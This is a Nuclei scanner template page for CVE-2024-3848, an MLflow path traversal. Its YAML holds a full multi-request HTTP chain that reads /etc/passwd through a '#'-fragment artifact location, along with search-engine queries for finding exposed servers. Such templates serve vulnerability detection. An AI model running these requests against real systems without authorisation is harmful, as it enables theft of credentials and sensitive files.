Mlflow < 2.11.0 - Path Traversal

ID: CVE-2024-3848

Severity: high

Author: gy741

Tags: cve,cve2024,mlflow,lfi,intrusive,lfprojects

Description

A path traversal vulnerability exists in mlflow/mlflow version 2.11.0, identified as a bypass for the previously addressed CVE-2023-6909. The vulnerability arises from the application’s handling of artifact URLs, where a ’#’ character can be used to insert a path into the fragment, effectively skipping validation. This allows an attacker to construct a URL that, when processed, ignores the protocol scheme and uses the provided path for filesystem access. As a result, an attacker can read arbitrary files, including sensitive information such as SSH and cloud keys, by exploiting the way the application converts the URL into a filesystem path. The issue stems from insufficient validation of the fragment portion of the URL, leading to arbitrary file read through path traversal.

YAML Source

id: CVE-2024-3848

info:
  name: Mlflow < 2.11.0 - Path Traversal
  author: gy741
  severity: high
  description: |
    A path traversal vulnerability exists in mlflow/mlflow version 2.11.0, identified as a bypass for the previously addressed CVE-2023-6909. The vulnerability arises from the application's handling of artifact URLs, where a '#' character can be used to insert a path into the fragment, effectively skipping validation. This allows an attacker to construct a URL that, when processed, ignores the protocol scheme and uses the provided path for filesystem access. As a result, an attacker can read arbitrary files, including sensitive information such as SSH and cloud keys, by exploiting the way the application converts the URL into a filesystem path. The issue stems from insufficient validation of the fragment portion of the URL, leading to arbitrary file read through path traversal.
  impact: |
    Successful exploitation could be lead to disclose of sensitive information such as SSH Keys or Internal configurations.
  remediation: |
    To fix this vulnerability, it is important to update the mlflow package to the latest version 2.12.1.
  reference:
    - https://huntr.com/bounties/8d5aadaa-522f-4839-b41b-d7da362dd610
    - https://nvd.nist.gov/vuln/detail/CVE-2024-3848
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-3848
    cwe-id: CWE-29
    epss-score: 0.00043
    epss-percentile: 0.10425
    cpe: cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 5
    vendor: lfprojects
    product: mlflow
    shodan-query: "http.title:\"mlflow\""
    fofa-query:
      - title="mlflow"
      - app="mlflow"
    google-query: intitle:"mlflow"
  tags: cve,cve2024,mlflow,lfi,intrusive,lfprojects

variables:
  random: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        POST /ajax-api/2.0/mlflow/experiments/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "{{randstr}}", "artifact_location": "http://host#/../../../../../../../../../../../../../../etc/"}

      - |
        POST /api/2.0/mlflow/runs/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"experiment_id": "{{EXPERIMENT_ID}}"}

      - |
        POST /ajax-api/2.0/mlflow/upload-artifact?run_uuid={{RUN_ID}}&path=a?/a HTTP/1.1
        Host: {{Hostname}}

        {{random}}

      - |
        POST /ajax-api/2.0/mlflow/experiments/delete HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"experiment_id": "{{EXPERIMENT_ID}}"}

      - |
        POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "{{randstr}}"}

      - |
        POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "{{randstr}}", "run_id": "{{RUN_ID}}", "source": "file:///etc/"}

      - |
        GET /model-versions/get-artifact?path=passwd&name={{randstr}}&version=1 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body_7
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header_7
        words:
          - "filename=passwd"
          - "application/octet-stream"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: json
        part: body_1
        name: EXPERIMENT_ID
        group: 1
        json:
          - '.experiment_id'
        internal: true

      - type: json
        part: body_2
        name: RUN_ID
        group: 1
        json:
          - '.run.info.run_id'
        internal: true
# digest: 4b0a00483046022100c3409c8b66d6382e4cb01617ac1c4567e106c3d987267eaf4ae4041c23e6f5ab022100b18bf7148d1401117f5ba47f34b064fed6df63a199821cc4794aebbf675d6a03:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-3848.yaml"

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